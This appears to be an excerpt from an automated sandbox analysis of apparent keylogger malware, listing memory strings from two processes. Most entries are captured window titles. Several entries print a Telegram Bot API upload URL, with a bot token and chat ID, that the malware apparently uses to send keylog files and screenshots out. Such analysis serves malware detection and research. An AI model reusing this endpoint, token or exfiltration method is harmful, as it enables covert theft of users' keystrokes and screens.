                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:02]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FC:\Users\user\AppData\Local\Adobe07:21:20]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:16]<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ]<<Program Manager>>ram ManX
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:33]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2730998097.00000000082C0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:09]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :21:44]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041EF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:50]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :17]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:45]<<Program Manager>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:18]<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:27]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:45]<<Program Managernction"===typeof btoa;var F="function"===typeof Symbol&&"symbol"===typeof Symbol()?Symbol():void 0,G=F?function(a,b){a[F]|=b}:function(a,b){void 0!==a.g?a.g|=b:Object.defineProperties(a,{g:{value:b,configurable:!0,writable:!0,enumerable:!1}})};function va(a){var b=H(a);1!==(b&1)&&(Object.isFrozen(a)&&(a=Array.prototype.slice.call(a)),I(a,b|1))}
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:12]<<Program Manager>>D
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, KeyDataYRTmqAXe.txt.9.drBinary or memory string: [07:21:34]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :23:02]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--0]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:43]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, KeyDatanYvTSQpf.txt.9.drBinary or memory string: [07:23:00]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003EAE000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:24]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010B8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :15]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:17]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerQUWDdOhIko2Dt
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2730998097.00000000082C0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:25]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:08]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:41]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1:46]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041D5000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:17]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:43]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2723224019.00000000055BE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :22:01]<<Program Manager
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:25]<<Program Manager>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:42]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003EAE000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:07]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2730998097.00000000082C0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:18]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:56]<<Program Manager>>H
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, KeyDataWrlEoSmg.txt.9.drBinary or memory string: [07:22:41]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:06]<<Program Manager>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041EF000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:52]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:08<<Program Manager>>
                      Source: KeyDataGlLPGWOk.txt.9.drBinary or memory string: [07:22:40]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:44]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:20<<Program Manager
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:06]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:16]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, KeyDatanYvTSQpf.txt.9.drBinary or memory string: [07:22:54]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:16Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Windows\system32\wbem\wbemsvc.dll]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FC:\Users\user\AppData\Local\Adobe07:21:25]<<Program Manager>>
                      Source: KeyDataNErTutaN.txt.9.drBinary or memory string: [07:22:53]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:15]<<Program Manager>>}d
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 1:44]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2730998097.00000000082C0000.00000004.00000020.00020000.00000000.sdmp, KeyDataVqynSimp.txt.9.drBinary or memory string: [07:22:19]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:46]<<Program Managern d)Object.prototype.hasOwnProperty.call(d,e)&&(a[e]=d[e])}return a};ha("Object.assign",function(a){return a||na});
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, KeyDatanYvTSQpf.txt.9.drBinary or memory string: [07:22:55]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2722864980.0000000005570000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:15]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 07:22:50]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-ScreenshotlibSWTKN.BMP:::user-PC\user\8.46.123.189:15]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:38]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:11]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 07:22:33]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:22]<<Program Manager>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:22]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 59c113--0]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003EAE000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:45]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:39]<<Program Manager>>F
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2722864980.0000000005570000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:14]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:07]<<Program Manager>>pingStri
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003EAE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: https://api.telegram.org/bot7725030292:AAFHYtQUWDdOhIko2DIqyexjh4XvUaOA1Fs/sendDocument?chat_id=6732456666&caption=DC-ScreenshotlibSWTKN.BMP:::user-PC\user\8.46.123.189]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:04]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:46]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 07:21:58]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:21]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:18<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:25]..Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2730998097.00000000082C0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:20]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manageroarde
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041EF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:56]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, KeyDatauRYIcDki.txt.9.drBinary or memory string: [07:23:13]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111D000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:03]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041D5000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:46]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ogram Ma]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:37]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.00000000010C8000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E66000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:01]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ThunderRT6PictureBoxDC:21:45]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:58]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:09]<<Program Managere_id":"AgADMhkAAjjDOFA","file_size":396},"caption":"DC-KL:::user-PC\\user\\8.46.123.189","caption_entities":[{"offset":25,"length":12,"type":"url"}]}}Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:18]<<type":"text/plain","file_id":"BQACAgQAAxkDAAI8jmeHqLW7bfKpo3vG_snN4OMYDlSCAAJIGQACOMM4UCNR2Z7Jvv56NgQ","file_unique_id":"AgADSBkAAjjDOFA","file_size":363},"caption":"DC-KL:::user-PC\\user\\8.46.123.189","caption_entities":[{"offset":25,"length":12,"type":"url"}]}}-99b9-fca7ff59c113--f5-b1ed-4060-99b9-fca7ff59c113--:21]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111D000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:59]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [23:11]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:08]<<Program Manager>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111D000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:02]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:25]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:06<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010F2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:58]<<Program Manager>>vU
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041EF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 21:53]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--8]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003EAE000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: <<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001138000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719577553.000000000423D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerQUWDdOhIko2D
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.000000000116B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113--:22:11]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: :21:59]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.00000000010D8000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041B0000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2720228107.000000000427F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:23:11]<<Program Manager>>
                      Source: OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:44]<<Program Manager~
                      Source: KeyDataGlLPGWOk.txt.9.drBinary or memory string: [07:22:36]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:18]<<Program Manager>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111D000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2716450710.000000000112C000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001147000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:57]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:22:14]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.000000000111B000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2715993099.0000000001125000.00000004.00000020.00020000.00000000.sdmp, OdoiXyuXnaQN.exe, 00000010.00000002.2719141734.00000000041D5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:35]<<Program Manager>>
                      Source: DESCRIPTION.exe, 00000009.00000002.2716450710.0000000001168000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E30000.00000004.00000020.00020000.00000000.sdmp, DESCRIPTION.exe, 00000009.00000002.2719338068.0000000003E37000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: [07:21:40]<<Program Manager>>
